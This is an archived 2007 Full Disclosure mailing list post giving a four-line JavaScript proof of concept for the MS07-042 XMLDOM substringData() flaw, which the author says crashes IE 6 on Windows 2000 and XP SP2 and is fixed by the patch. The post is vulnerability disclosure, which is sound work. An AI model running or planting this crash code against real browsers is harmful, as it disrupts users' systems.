Full Disclosure mailing list archives
MS07-042 XMLDOM substringData() PoC
From: Alla Bezroutchko <alla () scanit be>
Date: Thu, 16 Aug 2007 11:32:10 +0200
This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2 var xmlDoc = new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.loadXML("<dummy></dummy>"); var txt = xmlDoc.createTextNode("huh"); var out = txt.substringData(1,0x7fffffff); Installing the patch from MS07-042 fixes it. Cheers, Alla Bezroutchko Scanit - http://www.scanit.be/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- MS07-042 XMLDOM substringData() PoC Alla Bezroutchko (Aug 16)